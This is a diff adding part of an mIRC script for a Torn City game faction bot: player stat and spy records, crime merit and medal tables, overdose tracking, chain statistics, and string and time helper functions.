+      else { msg $2 $tc.col(2) $+ %name $+ $tc.col(1) $+ , thank you for posting your initial stats. They have been saved. }
+    }
+    else { msg $2 $tc.col(2) $+ %name $+ $tc.col(1) $+ , your stats have not changed since your last paste on $+ $tc.col(2) $asctime(%pasttime,mmm d h:nn:ss tt) $tc.col(1) $+ (GMT/TC time) - $+ $tc.col(2) $duration($calc($tc.time - %pasttime)) $tc.col(1) $+ ago. }
+    hfree %statstablename
+  }
+  if ($readini($tc.cfgfile,n,Config,bstats) == yes && $findtok(%tc.bstats,$3,1,32)) { 
+    set %tc.bstats $deltok(%tc.bstats,$findtok(%tc.bstats,$3,1,32),32) 
+    if (%tc.bstats == $null) { unset %tc.bstats }
+  } 
+  unset %tc.bstatadd
+}
+
+alias -l tc.hitlistclr {
+  if ($hget(tc.atklist)) {
+    hfree tc.atklist
+    msg $1 $tc.col(4) $+ Note: Cleared attackers list due to 20 minutes of chain inactivity.
+  }
+}
+
+alias -l tc.groupatk {
+  msg $1 $tc.col(6) $+ Make with the beatings! Go! Fighty Stabby Time!
+  .notice $1 $tc.col(7) $+ Let the games begin! Group attack started on $tc.atklink(%tcgroup.targ) <- join if you can!
+  unset %tcgroup.*
+}
+
+; --------------------------------- spy bot functions ---------------------------------
+
+alias -l tc.addspyhelp { return $tc.col(3) $+ Adds a spy to the bot. Manual usage: $+ $tc.col(2) !addspy Name TornID Str Spd Dex Def Total $tc.col(1) $+ Faction (optional). $tc.col(1) $+ To add automatically, use: $+ $tc.col(2) !addspy auto $tc.col(1) $+ if you have the full paste, or $+ $tc.col(2) !addspy Name TornID auto $tc.col(1) $+ if you only have the stats. $tc.col(8) $+ For automatic pre-RESPO reports, use: !addspy old }
+
+alias -l tc.spysave {
+  if (%tc.spy != $null) { var %table = spy. $+ %tc.spy, %addedby = %tc.spy }
+  else { var %table = spy. $+ %tc.oldspy, %addedby = %tc.oldspy }
+  if ($hget(%table,id) == $null || $hget(%table,id) !isnum) { 
+    msg %tc.spychan $tc.col(5) $+ The ID was not successfully read. When using automatic mode, paste your spy exactly how Torn sends it to you without modification. 
+    msg %tc.spychan $tc.col(1) $+ Use: $+ $tc.col(2) !addspy $+ $tc.col(1) to see manual input help. 
+  }
+  else {
+    if (!$hfind(%table,str) || $hget(%table,str) !isnum) { hadd -m %table str 0 }
+    if (!$hfind(%table,spd) || $hget(%table,spd) !isnum) { hadd -m %table spd 0 }
+    if (!$hfind(%table,dex) || $hget(%table,dex) !isnum) { hadd -m %table dex 0 }
+    if (!$hfind(%table,def) || $hget(%table,def) !isnum) { hadd -m %table def 0 }
+    if (!$hfind(%table,totb) || $hget(%table,totb) !isnum) { hadd -m %table totb 0 }
+    if (!$hfind(%table,man) || $hget(%table,man) !isnum) { hadd -m %table man 0 }
+    if (!$hfind(%table,int) || $hget(%table,int) !isnum) { hadd -m %table int 0 }
+    if (!$hfind(%table,end) || $hget(%table,end) !isnum) { hadd -m %table end 0 }
+    if (!$hfind(%table,totw) || $hget(%table,totw) !isnum) { hadd -m %table totw 0 }
+    if (!$hfind(%table,cash) || $hget(%table,cash) !isnum) { hadd -m %table cash -1 }
+    if ($tc.getapikey != $null) {
+      sockclose spyprof 
+      sockopen -e spyprof www.torn.com 443
+      msg %tc.spychan $tc.col(8) $+ Attempting to get additional info from Torn's API (5 seconds max)... 
+      .timer $+ 0.tc.spyscrape 1 5 tc.spywrite 
+    }
+    else { tc.spywrite }
+  }
+}
+
+alias -l tc.spywrite {
+  sockclose spyprof
+  if ($timer(0.tc.spyscrape)) { .timer $+ 0.tc.spyscrape off }
+  if (%tc.spy != $null) { var %table = spy. $+ %tc.spy, %addedby = %tc.spy }
+  else { var %table = spy. $+ %tc.oldspy, %addedby = %tc.oldspy }
+  if (%tcsprof.lvl != $null) { hadd -m %table lvl %tcsprof.lvl }
+  elseif (!$hfind(%table,lvl) || $hget(%table,lvl) !isnum) { hadd -m %table lvl 0 }
+  else {  }
+  if (%tcsprof.fact != $null) { hadd -m %table fact %tcsprof.fact }
+  elseif (!$hfind(%table,fact) || $hget(%table,fact) == $null) { hadd -m %table fact N/A } 
+  else {  }
+  var %filename = $tc.spyfile
+  var %savestring = $hget(%table,name) $+ $chr(9) $+ $hget(%table,id) $+ $chr(9) $+  $hget(%table,lvl) $+ $chr(9) $+ $hget(%table,fact) $+ $chr(9) $+ $hget(%table,spd) $+ $chr(9) $+ $hget(%table,str) $+ $chr(9) $+ $hget(%table,def) $+ $chr(9) $+ $hget(%table,dex) $+ $chr(9) $+ $hget(%table,totb) $+ $chr(9) $+ $hget(%table,man) $+ $chr(9) $+ $hget(%table,int) $+ $chr(9) $+ $hget(%table,end) $+ $chr(9) $+ $hget(%table,totw) $+ $chr(9) $+ $hget(%table,cash) $+ $chr(9) $+ %addedby $+ $chr(9) $+ $tc.time
+  if ($exists($tc.spyfile)) { 
+    var %eof = $lines($tc.spyfile), %ptr = 1
+    while (%ptr <= %eof) {
+      var %readid = $gettok($read($tc.spyfile,%ptr),2,9)
+      if (%readid == $hget(%table,id)) { var %spyold = 1 | write -dl $+ %ptr $tc.spyfile | break }
+      inc %ptr
+    }
+  }
+  write $tc.spyfile %savestring
+  if (%spyold != $null) { msg %tc.spychan $tc.col(1) $+ Spy entry for $+ $tc.col(2) $hget(%table,name) $tc.colid($hget(%table,id),1,2) $tc.col(1) $+ was successfully updated! }
+  else { msg %tc.spychan $tc.col(1) $+ Spy entry for $+ $tc.col(2) $hget(%table,name) $tc.colid($hget(%table,id),1,2) $tc.col(1) $+ was successfully added! }
+  hfree %table | .timer0.tcflag.spyauto off | unset %tc.spy | unset %tc.oldspy | unset %tc.spychan | unset %tcsprof.*
+}
+
+
+alias -l tc.spycancel {
+  msg $1 $tc.col(1) $+ Spy auto-entry cancelled.
+  if (%tc.spy != $null) { var %table = spy. $+ %tc.spy }
+  else { var %table = spy. $+ %tc.oldspy }
+  if ($hget(%table)) { hfree %table }
+  unset %tc.spy | unset %tc.oldspy
+}
+
+; --------------------------------- crimes functions ---------------------------------
+
+; crimes subroutine that takes a players ID, looks for a crimes table for that player in memory, saves the table to the database, then frees it.
+; this is called on a catchup timer after a person pastes their crimes so it's only run once instead of after every single line. 
+; it should also be immediately called after all crimes have been posted
+alias -l tc.crimesave {
+  .timer $+ $1 $+ $chr(46) $+ crimes off
+  var %cstr = %tc.crnew. [ $+ [ $1 ] ], %pstr = %tc.crnochg. [ $+ [ $1 ] ], %ptr = 1, %eof = $lines($tc.crimesfile)
+  while (%ptr <= %eof) { if ($gettok(%cstr,1,32) == $gettok($read($tc.crimesfile,%ptr),1,32)) { write -dl $+ %ptr $tc.crimesfile | break } | inc %ptr }
+  if (%pstr != $null) { msg $2 $tc.col(1) $+ Your $+ $tc.col(2) %pstr $tc.col(1) $+ have not changed since your last update. }  
+  var %p = 3, %e = 10 | while (%p <= %e) { if ($gettok(%cstr,%p,32) == -1) { var %cstr = $puttok(%cstr,0,%p,32) } | inc %p }
+  write $tc.crimesfile %cstr 
+  ; msg $2 $tc.col(1) $+ Type $+ $tc.col(2) !crimes $tc.col(1) $+ to see your current medal/merit position details.
+  unset %tc.crnew. [ $+ [ $1 ] ] | unset %tc.crold. [ $+ [ $1 ] ] | unset %tc.crnochg. [ $+ [ $1 ] ] | unset %tc.crupd. [ $+ [ $1 ] ]
+}
+
+; Big stupid crime data lookup subroutine.
+; Takes a type var and crime count and returns a tokenized string indicating their next merits/medal point.
+; The sub that it's returned to takes this string and formats it into something that looks nice.
+; This is in an alias to avoid having to copy/paste for every time it needs to look this stuff up. 
+; Type starts at 2 because position 1 in the saved file is the ID. This just keeps locations in sync.
+alias -l tc.crimedata {
+  if ($1 == 3) {
+    var %type = Selling illegal products, %max = 5000
+    if ($2 >= 1 && $2 < 5000) { var %merit = 5000, %mername = Civil Offense, %medal = 0 }
+  }
+  if ($1 == 4) {
+    var %type = Theft, %max = 25000
+    if ($2 >= 1 && $2 < 1000) { var %merit = 1000, %mername = Candy Man, %medal = 1000, %medname = Sneak Thief (1) }
+    if ($2 >= 1000 && $2 < 2500) { var %merit = 2500, %mername = Smile You're On Camera, %medal = 2500, %medname = Prowler (2) }
+    if ($2 >= 2500 && $2 < 5000) { var %merit = 5000, %mername = Smokin' Barrels, %medal = 5000, %medname = Safe Cracker (3) } 
+    if ($2 >= 5000 && $2 < 7500) { var %merit = 7500, %mername = Breaking and Entering, %medal = 7500, %medname = Marauder (4) }
+    if ($2 >= 7500 && $2 < 10000) { var %merit = 10000, %mername = Stroke Bringer, %medal = 10000, %medname = Cat Burgler (5) }
+    if ($2 >= 10000 && $2 < 12500) { var %merit = 0, %medal = 12500, %medname = Pilferer (6) }
+    if ($2 >= 12500 && $2 < 15000) { var %merit = 0, %medal = 15000, %medname = Desperado (7) }
+    if ($2 >= 15000 && $2 < 17500) { var %merit = 0, %medal = 17500, %medname = Rustler (8) }
+    if ($2 >= 17500 && $2 < 20000) { var %merit = 0, %medal = 20000, %medname = Pick-Pocket (9) }
+    if ($2 >= 20000 && $2 < 22500) { var %merit = 0, %medal = 22500, %medname = Vandal (10) }
+    if ($2 >= 22500 && $2 < 25000) { var %merit = 0, %medal = 25000, %medname = Kleptomaniac (11) }
+  }
+  if ($1 == 5) {
+    var %type = Auto Theft, %max = 10000
+    if ($2 >= 1 && $2 < 200) { var %merit = 5000, %mername = Joy Rider, %medal = 200, %medname = Gone in 300 Seconds (1) }
+    if ($2 >= 200 && $2 < 400) { var %merit = 5000, %mername = Joy Rider, %medal = 400, %medname = Gone in 240 Seconds (2) }
+    if ($2 >= 400 && $2 < 600) { var %merit = 5000, %mername = Joy Rider, %medal = 600, %medname = Gone in 180 Seconds (3) }
+    if ($2 >= 600 && $2 < 800) { var %merit = 5000, %mername = Joy Rider, %medal = 800, %medname = Gone in 120 Seconds (4) }
+    if ($2 >= 800 && $2 < 1000) { var %merit = 5000, %mername = Joy Rider, %medal = 1000, %medname = Gone in 60 Seconds (5) }
+    if ($2 >= 1000 && $2 < 1200) { var %merit = 5000, %mername = Joy Rider, %medal = 1200, %medname = Gone in 45 Seconds (6) }
+    if ($2 >= 1200 && $2 < 1500) { var %merit = 5000, %mername = Joy Rider, %medal = 1500, %medname = Gone in 30 Seconds (7) }
+    if ($2 >= 1500 && $2 < 2000) { var %merit = 5000, %mername = Joy Rider, %medal = 2000, %medname = Gone in 15 Seconds (8) } 
+    if ($2 >= 2000 && $2 < 2500) { var %merit = 5000, %mername = Joy Rider, %medal = 2500, %medname = Booster (9) } 
+    if ($2 >= 2500 && $2 < 3000) { var %merit = 5000, %mername = Joy Rider, %medal = 3000, %medname = Joyrider (10) } 
+    if ($2 >= 3000 && $2 < 3500) { var %merit = 5000, %mername = Joy Rider, %medal = 3500, %medname = Super Booster (11) } 
+    if ($2 >= 3500 && $2 < 4000) { var %merit = 5000, %mername = Joy Rider, %medal = 4000, %medname = Master Carjacker (12) }
+    if ($2 >= 4000 && $2 < 4500) { var %merit = 5000, %mername = Joy Rider, %medal = 4500, %medname = Slim Jim (13) }
+    if ($2 >= 4500 && $2 < 5000) { var %merit = 5000, %mername = Joy Rider, %medal = 5000, %medname = Novice Joy Rider (14) }
+    if ($2 >= 5000 && $2 < 5500) { var %merit = 0, %medal = 5500, %medname = Novice Slim Jim (15) }
+    if ($2 >= 5500 && $2 < 6000) { var %merit = 0, %medal = 6000, %medname = Professional Joy Rider (16) }
+    if ($2 >= 6000 && $2 < 6500) { var %merit = 0, %medal = 6500, %medname = Professional Booster (17) }
+    if ($2 >= 6500 && $2 < 7000) { var %merit = 0, %medal = 7000, %medname = Professional Slim Jim (18) }
+    if ($2 >= 7000 && $2 < 8000) { var %merit = 0, %medal = 8000, %medname = Master Joy Rider (19) }
+    if ($2 >= 8000 && $2 < 9000) { var %merit = 0, %medal = 9000, %medname = Master Booster (20) }
+    if ($2 >= 9000 && $2 < 10000) { var %merit = 0, %medal = 10000, %medname = Master Slim Jim (21) }
+  }
+  if ($1 == 6) {
+    var %type = Drug Deals, %max = 10000
+    if ($2 >= 1 && $2 < 250) { var %merit = 5000, %mername = Escobar, %medal = 250, %medname = Drug Pusher (1) }
+    if ($2 >= 250 && $2 < 500) { var %merit = 5000, %mername = Escobar, %medal = 500, %medname = Drug Runner (2) }
+    if ($2 >= 500 && $2 < 1000) { var %merit = 5000, %mername = Escobar, %medal = 1000, %medname = Drug Dealer (3) }
+    if ($2 >= 1000 && $2 < 2000) { var %merit = 5000, %mername = Escobar, %medal = 2000, %medname = Drug Lord (4) }
+    if ($2 >= 2000 && $2 < 4000) { var %merit = 5000, %mername = Escobar, %medal = 4000, %medname = Candy Man (5) }
+    if ($2 >= 4000 && $2 < 5000) { var %merit = 5000, %mername = Escobar, %medal = 6000, %medname = Connection (6) }
+    if ($2 >= 5000 && $2 < 6000) { var %merit = 0, %medal = 6000, %medname = Connection (6) }
+    if ($2 >= 6000 && $2 < 8000) { var %merit = 0, %medal = 8000, %medname = King Pin (7) }
+    if ($2 >= 8000 && $2 < 10000) { var %merit = 0, %medal = 10000, %medname = Supplier (8) }
+  }
+  if ($1 == 7) {
+    var %type = Computer Crimes, %max = 10000
+    if ($2 >= 1 && $2 < 500) { var %merit = 1000, %mername = Bug, %medal = 500, %medname = Ub3rn00b Hacker (1) }
+    if ($2 >= 500 && $2 < 1000) { var %merit = 1000, %mername = Bug, %medal = 1000, %medname = N00b Hacker (2) }
+    if ($2 >= 1000 && $2 < 1500) { var %merit = 5000, %mername = We Have A Breach, %medal = 1500, %medname = 1337n00b Hacker (3) }
+    if ($2 >= 1500 && $2 < 2000) { var %merit = 5000, %mername = We Have A Breach, %medal = 2000, %medname = Ph34r3dn00b Hacker (4) }
+    if ($2 >= 2000 && $2 < 2500) { var %merit = 5000, %mername = We Have A Breach, %medal = 2500, %medname = Ph34r3d Hacker (5) }
+    if ($2 >= 2500 && $2 < 3000) { var %merit = 5000, %mername = We Have A Breach, %medal = 3000, %medname = Ph34r3d1337 Hacker (6) }
+    if ($2 >= 3000 && $2 < 3500) { var %merit = 5000, %mername = We Have A Breach, %medal = 3500, %medname = Ub3rph34r3d Hacker (7) }
+    if ($2 >= 3500 && $2 < 4000) { var %merit = 5000, %mername = We Have A Breach, %medal = 4000, %medname = Ub3r Hacker (8) }
+    if ($2 >= 4000 && $2 < 4500) { var %merit = 5000, %mername = We Have A Breach, %medal = 4500, %medname = 1337 Hacker (9) }
+    if ($2 >= 4500 && $2 < 5000) { var %merit = 5000, %mername = We Have A Breach, %medal = 5000, %medname = Ub3r1337 Hacker (10) }
+    if ($2 >= 5000 && $2 < 5500) { var %merit = 0, %medal = 5500, %medname = Key Puncher (11) }
+    if ($2 >= 5500 && $2 < 6000) { var %merit = 0, %medal = 6000, %medname = Script Kid (12) }
+    if ($2 >= 6000 && $2 < 7000) { var %merit = 0, %medal = 7000, %medname = Geek Speak (13) }
+    if ($2 >= 7000 && $2 < 8000) { var %merit = 0, %medal = 8000, %medname = Techie (14) }
+    if ($2 >= 8000 && $2 < 9000) { var %merit = 0, %medal = 9000, %medname = Cyber Punk (15) }
+    if ($2 >= 9000 && $2 < 10000) { var %merit = 0, %medal = 10000, %medname = Programmer (16) }
+  }
+  if ($1 == 8) {
+    var %type = Fraud, %max = 10000
+    if ($2 >= 1 && $2 < 300) { var %merit = 5000, %mername = Fire Starter, %medal = 300, %medname = Fake (1) }
+    if ($2 >= 300 && $2 < 600) { var %merit = 5000, %mername = Fire Starter, %medal = 600, %medname = Counterfeit (2) }
+    if ($2 >= 600 && $2 < 900) { var %merit = 5000, %mername = Fire Starter, %medal = 900, %medname = Pretender (3) }
+    if ($2 >= 900 && $2 < 1200) { var %merit = 5000, %mername = Fire Starter, %medal = 1200, %medname = Clandestine (4) }
+    if ($2 >= 1200 && $2 < 1500) { var %merit = 5000, %mername = Fire Starter, %medal = 1500, %medname = Imposter (5) }
+    if ($2 >= 1500 && $2 < 2000) { var %merit = 5000, %mername = Fire Starter, %medal = 2000, %medname = Pseudo (6) }
+    if ($2 >= 2000 && $2 < 2500) { var %merit = 5000, %mername = Fire Starter, %medal = 2500, %medname = Imitation (7) }
+    if ($2 >= 2500 && $2 < 3000) { var %merit = 5000, %mername = Fire Starter, %medal = 3000, %medname = Simulated (8) }
+    if ($2 >= 3000 && $2 < 3500) { var %merit = 5000, %mername = Fire Starter, %medal = 3500, %medname = Hoax (9) }
+    if ($2 >= 3500 && $2 < 4000) { var %merit = 5000, %mername = Fire Starter, %medal = 4000, %medname = Faux (10) }
+    if ($2 >= 4000 && $2 < 5000) { var %merit = 5000, %mername = Fire Starter, %medal = 5000, %medname = Poser (11) }
+    if ($2 >= 5000 && $2 < 6000) { var %merit = 0, %medal = 6000, %medname = Deception (12) }
+    if ($2 >= 6000 && $2 < 7000) { var %merit = 0, %medal = 7000, %medname = Phony (13) }
+    if ($2 >= 7000 && $2 < 8000) { var %merit = 0, %medal = 8000, %medname = Parody (14) }
+    if ($2 >= 8000 && $2 < 9000) { var %merit = 0, %medal = 9000, %medname = Travesty (15) }
+    if ($2 >= 9000 && $2 < 10000) { var %merit = 0, %medal = 10000, %medname = Pyro (16) }
+  }
+  if ($1 == 9) {
+    var %type = Murder, %max = 10000
+    if ($2 >= 1 && $2 < 1000) { var %merit = 5000, %mername = Professional, %medal = 1000, %medname = Beginner Assassin (1) }
+    if ($2 >= 1000 && $2 < 2000) { var %merit = 5000, %mername = Professional, %medal = 2000, %medname = Novice Assassin (2) }
+    if ($2 >= 2000 && $2 < 3000) { var %merit = 5000, %mername = Professional, %medal = 3000, %medname = Competant Assassin (3) }
+    if ($2 >= 3000 && $2 < 4000) { var %merit = 5000, %mername = Professional, %medal = 4000, %medname = Elite Assassin (4) }
+    if ($2 >= 4000 && $2 < 5000) { var %merit = 5000, %mername = Professional, %medal = 5000, %medname = Deadly Assassin (5) }
+    if ($2 >= 5000 && $2 < 6000) { var %merit = 0, %medal = 6000, %medname = Lethal Assassin (6) }
+    if ($2 >= 6000 && $2 < 7000) { var %merit = 0, %medal = 7000, %medname = Fatal Assassin (7) }
+    if ($2 >= 7000 && $2 < 8000) { var %merit = 0, %medal = 8000, %medname = Trigger Man (8) }
+    if ($2 >= 8000 && $2 < 9000) { var %merit = 0, %medal = 9000, %medname = Hit Man (9) }
+    if ($2 >= 9000 && $2 < 10000) { var %merit = 0, %medal = 10000, %medname = Executioner (10) }
+  }
+  if ($1 == 10) {
+    var %type = Other, %max = 5000
+    if ($2 >= 1 && $2 < 5000) { var %merit = 5000, %mername = Find a Penny Pick it Up, %medal = 0 }
+  }
+  ; this weird if statement keeps the token structure constant, prevents weird errors in the returning sub
+  if (%mername == $null) { var %mername = 0 } | if (%medname == $null) { var %medname = 0 } 
+  return %type $+ $chr(124) $+ %max $+ $chr(124) $+ %merit $+ $chr(124) $+ %mername $+ $chr(124) $+ %medal $+ $chr(124) $+ %medname
+}
+
+; --------------------------------- drug calc functions ---------------------------------
+
+; Adds a xanax od
+alias -l tc.xanod {
+  var %id = $tc.getid($1)
+  if (%id != $null) {
+    if ($exists($tc.psetfile)) { var %last = $tc.getset(%id,xanod) }
+    tc.set %id xanod $tc.time
+    if (%last != $null) { msg $2 $tc.col(1) $+ You have last overdosed on Xanax $+ $tc.col(2) $duration($calc($tc.time - %last)) $tc.col(1) $+ ago on $+ $tc.col(2) $asctime(%last, mmm d yyyy) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%last, h:nn:ss tt) $tc.col(1) $+ (GMT/TC Time). }
+    else { msg $2 $tc.col(1) $+ I have recorded your overdose. You can keep track of how long ago it was using: $+ $tc.col(2) !xanod }    
+    if ($readini($tc.cfgfile,n,Config,odrevive) == yes) { msg $2 $tc.col(3) $+ If anyone is feeling generous, please revive $+ $tc.col(2) $1 $+ $tc.col(3) $+ ! $+ $tc.col(2) $tc.revlink(%id) }    
+  }
+}
+
+; Reads hermetic setting and returns. Used in a few places.
+alias -l tc.getherm { return $readini($tc.cfgfile,n,Config,hermetic) }
+
+; --------------------------------- other encyclopaedia functions ---------------------------------
+
+; Book display - is done this way so multiple books can be displayed for one term.
+; The data is separated by pipe characters since the data can have spaces in them,
+; and mirc has problems with passing spaces. Need to reconstruct the input string, 
+; then use gettok to split.
+alias -l tc.bookdisp { 
+  var %input = $1-$999, %chan = $gettok(%input,1,124), %title = $gettok(%input,2,124), %bene = $gettok(%input,3,124)
+  msg %chan $tc.col(1) $+ Book: $+ $tc.col(2) %title $+ $tc.col(1) - Benefit: $+ $tc.col(2) %bene
+}
+
+; --------------------------------- api key stuff -------------------------------------
+
+alias -l tc.getapikey {
+  if ($readini($tc.cfgfile,n,API,enable) == e) { return $readini($tc.cfgfile,n,API,key) }
+  else { return $null }
+}
+
+; --------------------------------- variable manipulation functions ---------------------------------
+
+; seperates a number into neat little commas. Stolen off alchemy's bot, lol, I'm horrible at regexes.
+alias -l tc.addComma { var %a, %b = $regsub($ticks,$1,/\G([+-]?\d+?)(?=(?:\d{3})++(?=\.\d++$|$))/g,\1 $+ $chr(44),%a) | return %a }
+
+; strips all input ascii chars aside from decimals and numbers. Used to clean accidental/intentional letters in inputs that expect numbers.
+alias -l tc.cleanN { 
+  var %a = 0, %b = $1
+  while (%a < 255) { if (%a != 46 && %a !isnum 48-57) { var %b = $remove(%b, $chr(%a)) } | inc %a }
+  return %b
+}
+
+; This is used in cleaning current stat passives. 
+; Ched for some reason used a fucking weird unicode instead of a -, so it should check for that.
+alias -l tc.cleanStatPass {
+  var %ptr = 1, %str = $1, %len = $len($1), %pos = $chr(45)
+  while (%ptr <= %len) {
+    var %chk = $mid(%str,%ptr,1)
+    if (%chk isnum) { var %ret = %ret $+ %chk }
+    if (%chk == $chr(43)) { var %pos = $null }
+    inc %ptr
+  }
+  return %pos $+ %ret
+}
+
+
+; strips all HTML tags
+alias -l tc.cleanH { return $regsubex($1,/^[^<]*>|<[^>]*>|<[^>]*$/g,$null) }
+
+; strips leading and trailing whitespace
+alias -l tc.cleanW { var %a, %b = $regsub($ticks,$1,^[ \t]+|[ \t]+$,$null,%a) | return %a }    
+
+; encodes an input string into an url friendly string
+alias -l tc.uencode { 
+  var %a = $replace($1-,$chr(37),$+($chr(37),25)) | var %ptr = 32
+  while (%ptr <= 126) {
+    if (%ptr == 37) { inc %ptr | continue }
+    if (%ptr >= 48 && %ptr <= 57) { inc %ptr | continue }
+    if (%ptr >= 65 && %ptr <= 90) { inc %ptr | continue }
+    if (%ptr >= 97 && %ptr <= 122) { inc %ptr | continue }
+    var %a = $replace(%a,$chr(%ptr),$+($chr(37),$base(%ptr,10,16)))
+    inc %ptr
+  }  
+  return %a
+}
+
+; Old TC time alias. 
+; calculates using the offset set in the ACP. This is because $gmt is a broken pos that doesn't work properly with daylight savings sometimes.
+; alias -l tc.time { var %adj = $readini($tc.cfgfile,n,Config,timeadj) | if (%adj == $null) { var %adj = 0 } | return $calc($ctime - (%adj * 60 * 60)) }
+
+; New TC time alias. Uses $daylight to account for DST, which I didn't know existed.
+alias -l tc.time { return $calc($gmt - $daylight) }
+
+; converts hh:mm:ss into total seconds used for the timer command. If 0 is returned = invalid input.
+alias -l tc.timeconv { 
+  if ($1 == 0 || $calc($remove($1,$chr(58))) == 0) { return 0 }
+  if ($1 !isnum && $gettok($1,2,58) == $null) { return 0 }
+  if ($1 isnum) { if ($1 < 1) { return 0 } | else { return $1 } }
+  else {
+    var %hr = $gettok($1,1,58), %min = $gettok($1,2,58), %sec = $gettok($1,3,58)
+    if (%sec == $null) { var %sec = 0 }
+    if (%hr isnum && %min isnum && %sec isnum) { return $calc(((%hr * 60) + %min) * 60 + %sec) } 
+    else { return 0 }   
+  }  
+}
+
+alias -l tc.col { 
+  if ($1 isnum) {
+    if ($gettok(%tc.col,1,32) == y) { return  $+ $base($gettok(%tc.col,$calc($1 + 1),32),10,10,2) }
+    else { if ($1 == 2) { return  } | else { return  } }
+  }
+  else { return $null }
+}
+
+alias -l tc.colid { return $tc.col($2) $+ $chr(91) $+ $tc.col($3) $+ $1 $+ $tc.col($2) $+ $chr(93) }
+
+; --------------------------------- id lookup functions ---------------------------------
+
+; Separate subs for returning IDs and names - replaced the old single return point.
+alias -l tc.getid { return $hget(tc.ids,$1) }
+alias -l tc.getname { 
+  if ($hget(tc.idsname,$1) != $null) { return $hget(tc.idsname,$1) }
+  else { return $hfind(tc.ids,$1).data }
+}
+
+; --------------------------------- chain bot functions ---------------------------------
+
+alias -l tc.chainend {
+  if (%tcchain.hits == $null || %tcchain.hits < 0) { set %tcchain.hits 0 }
+  if (%tcchain.loss == $null) { set %tcchain.loss 0 }
+  var %bonusresp 0
+  if (%tcchain.hits > 9) { var %bonusresp = 10 }
+  if (%tcchain.hits > 24) { var %bonusresp = $calc(10 + 25) }
+  if (%tcchain.hits > 49) { var %bonusresp = $calc(10 + 25 + 50) }
+  if (%tcchain.hits > 74) { var %bonusresp = $calc(10 + 25 + 50 + 75) }
+  if (%tcchain.hits > 99) { var %bonusresp = $calc(10 + 25 + 50 + 75 + 100) }
+  if ($1 == $null) { 
+    var %hitsresp = $calc(%tcchain.startresp + (%tcchain.hits * 3)), %endresp = $calc(%hitsresp + %bonusresp)
+    msg %tcchain.stchan $tc.col(1) $+ Ending chain $+ $tc.col(2) %tcchain.chid $tc.col(1) $+ automatically due to 20 minutes of inactivity. 
+    msg %tcchain.stchan $tc.col(1) $+ The chain started at $+ $tc.col(2) $asctime(%tcchain.start,h:nn tt) $tc.col(1) $+ TC time, so we have been chaining for $+ $tc.col(2) $duration($calc($tc.time - %tcchain.start)) $+ $tc.col(1) $+ .
+    msg %tcchain.stchan $tc.col(1) $+ We started with $+ $tc.col(2) $tc.addComma(%tcchain.startresp) $tc.col(1) $+ respect, using $+ $tc.col(2) 3 $tc.col(1) $+ respect per hit and a total of $+ $tc.col(2) %tcchain.hits $tc.col(1) $+ hits and $+ $tc.col(2) %tcchain.loss $tc.col(1) $+ losses, final respect should be around $+ $tc.col(2) $tc.addComma(%endresp) $+ $tc.col(1) $+ .
+  }
+  else { 
+    var %endresp = $1
+    msg %tcchain.stchan $tc.col(1) $+ Ending chain $+ $tc.col(2) %tcchain.chid $tc.col(1) $+ with a total of $+ $tc.col(2) %tcchain.hits $tc.col(1) $+ hits and $+ $tc.col(2) %tcchain.loss $tc.col(1) $+ losses.
+    msg %tcchain.stchan $tc.col(1) $+ The chain started at $+ $tc.col(2) $asctime(%tcchain.start,h:nn tt) $tc.col(1) $+ TC time, so we have been chaining for $+ $tc.col(2) $duration($calc($tc.time - %tcchain.start)) $+ $tc.col(1) $+ .
+    msg %tcchain.stchan $tc.col(1) $+ We started with $+ $tc.col(2) $tc.addComma(%tcchain.startresp) $tc.col(1) $+ respect and ended with $+ $tc.col(2) $tc.addComma(%endresp) $+ $tc.col(1) $+ , so our change was $+ $tc.col(2) $tc.addComma($calc(%endresp - %tcchain.startresp)) $tc.col(1) $+ respect! We averaged around $+ $tc.col(2) $tc.addComma($round($calc((%endresp - %tcchain.startresp) / %tcchain.hits),2)) $tc.col(1) $+ respect per hit.
+  }
+  if (%tcchain.hits > 0) {
+    hadd tc.chain s %tcchain.startresp %endresp %tcchain.hits %tcchain.loss %tcchain.start $tc.time %tcchain.totrev
+    hsave tc.chain %tcchain.log | hsave tc.chmonth %tcchain.cmlog
+    writeini $tc.cfgfile Chain resp %endresp 
+    writeini $tc.cfgfile Chain id %tcchain.chid      
+    flushini $tc.cfgfile
+    tc.chainpost %tcchain.stchan
+    if (%tcchain.revtot > 0) {
+      msg %tcchain.stchan $tc.col(1) $+ To see the list of revivers for this chain, type: $+ $tc.col(2) !revhist %tcchain.chid 
+      var %revptr = 1 
+      while (%revptr <= $numtok(%tcchain.revchan,44)) { 
+        tc.chainrevpost $gettok(%tcchain.revchan,%revptr,44)
+        inc %revptr 
+      }
+    }
+  } 
+  else {
+    if ($exists(%tcchain.log)) { .remove %tcchain.log }
+    msg %tcchain.stchan $tc.col(1) $+ There were no attacks recorded so nothing was saved.    
+  }
+  if ($readini($tc.cfgfile,n,Chain,postchains) == yes) {
+    var %ptr = 1, %loops = $numtok(%tc.chchan,44)  
+    if (%tcchain.hits < 1) { set %tcchain.hits $tc.col(7) $+ no }  
+    while (%ptr <= %loops) {     
+      if ($gettok(%tc.chchan,%ptr,44) ischan && $gettok(%tc.chchan,%ptr,44) != %tcchain.stchan) { 
+        msg $gettok(%tc.chchan,%ptr,44) $tc.col(1) $+ The chain in $+ $tc.col(2) %tc.chain.stchan $tc.col(1) $+ has now ended with $+ $tc.col(2) %tcchain.hits $tc.col(1) $+ total hits.
+      }
+      inc %ptr 
+    } 
+  }
+  if (%tcchain.revchan != $null) {
+    var %ptr = 1, %loops = $numtok(%tcchain.revchan,44)  
+    if (%tcchain.hits < 1) { set %tcchain.hits $tc.col(7) $+ no }  
+    while (%ptr <= %loops) {     
+      if ($gettok(%tcchain.revchan,%ptr,44) ischan && $gettok(%tcchain.revchan,%ptr,44) != %tcchain.stchan) { 
+        msg $gettok(%tcchain.revchan,%ptr,44) $tc.col(1) $+ The chain has now ended with $+ $tc.col(2) %tcchain.hits $tc.col(1) $+ total hits.
+      }
+      inc %ptr 
+    } 
+  }
+  .timer $+ 0.tcchain* off | unset %tcchain.* 
+  if ($hget(tc.chain)) { hfree tc.chain }
+  if ($hget(tc.chmonth)) { hfree tc.chmonth }
+}
+
+alias -l tc.chainpost {
+  if ($2 == $null) { var %logfile = %tcchain.log }
+  else { var %logfile = $tc.chlogfile($2) }
+  if (!$exists(%logfile)) { halt }
+  window -hn @chainpost | window -hn @chainpostsort
+  hmake tc.chsumm | hload tc.chsumm %logfile
+  var %ptr = 1, %loop = $hget(tc.chsumm,0).item
+  while (%ptr <= %loop) {
